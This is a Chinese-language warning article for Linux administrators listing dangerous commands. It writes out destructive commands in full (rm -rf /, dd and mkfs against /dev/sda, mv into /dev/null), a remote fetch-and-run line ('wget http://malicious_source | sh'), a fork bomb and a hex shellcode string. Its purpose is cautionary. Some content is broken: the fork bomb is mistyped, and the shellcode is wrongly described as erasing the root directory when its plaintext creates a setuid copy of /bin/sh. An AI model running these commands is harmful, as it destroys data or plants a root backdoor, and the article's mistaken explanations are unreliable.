運維請注意:”非常危險“的Linux命令大全
Linux命令是一種很有趣且有用的東西,但在你不知道會帶來什么后果的時候,它又會顯得非常危險。所以,在輸入某些命令前,請多多檢查再敲回車。
rm –rf
rm –rf是刪除文件夾和里面附帶內容的一種最快捷的方法,但是細微的錯誤或者語法認知不到位,就可能對系統造成不可恢復的破壞,下面給出一些案例:
- rm 刪除linux下的文件
- rm -r 遞歸刪除文件夾,包括空文件夾
- rm -f 強制無條件刪除只讀文件
- rm -rf / : 強制無條件刪除root目錄下所有內容。
- rm -rf * : 強制無條件刪除當前目錄下所有內容。
- rm -rf . : 強制無條件刪除當前文件夾和子文件夾
綜上所述,在你執行rm –rf命令時千萬要小心,大家可以在.bashrc里面添加:
- alias rm= 'rm -i'
這樣,在你下次刪除東西的時候,它會提醒你到底要刪啥。
){:|:&};:
這個命令其實是一種fork炸彈,它定義了一個叫“:”的函數,調用了自己兩次,一次是在前臺,一次是在后臺。關鍵是這樣的調用會無限循環,直到系統崩潰。
手賤的同學可以盡管在虛擬機里試試:
- ){:|:&};:
任意命令 > /dev/sda
這個例子是講,我們執行了任意命令,并輸出到/dev/sda。這樣的話,/dev/sda 里面的文件會被命令輸出的內容全部替換掉,最后丟失掉其中原有的數據。
mv 指定的文件夾 /dev/null
這個mv命令會把指定的文件夾移動到/dev/null。在linux下,/dev/null或null是一種特殊的文件,它們會把寫入自身的數據全部丟棄,再返回操作成功的消息。
- # mv /home/user/* /dev/null
上面的命令會把/home/user/下面所有的內容,全部移動到/dev/null,這就是個無底的神坑。
- wget http://malicious_source -O- | sh
這個命令可能會直接下載惡意的源文件,然后使用sh直接執行該腳本。
- mkfs.ext3 /dev/sda
上面的例子會格式化/dev/sda,在執行上面的命令后,你的硬盤驅動會被標記為新的。當然,這時系統是無法再恢復數據了。
> 任意文件
這個命令可以用來刷掉原文件里的內容,如果你不小心打錯了字,輸入了諸如下面的命令:
- > xt.conf
你系統配置文件里的內容可能就會因此被清理掉。
^foo^bar
這樣利用^符號,通過上翻補全命令的方式,直接編輯之前運行過的命令。雖然你或許因此不用再輸入整條長命令,但其實這會很危險。

dd if=/dev/random of=/dev/sda
dd命令會擦掉/dev/sda下面的內容,然后寫入隨機的垃圾數據,最后你的系統會受到不可逆轉的破壞。
隱藏命令
下面的命令相當于rm –rf,它會藏在十六進制hex中。大家在不知情的情況下運行它,可能就會直接擦除掉整個root目錄:
- char esp[] __attribute__ ((section(“.text”))) /* e.s.p
- release */
- = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
- “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
- “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
- “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
- “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
- “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
- “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
- “cp -p /bin/sh /tmp/.beyond; chmod 4755
- /tmp/.beyond;”;
這個故事告訴我們,致命的威脅在隱藏起來的時候,我們通常可能難以發現。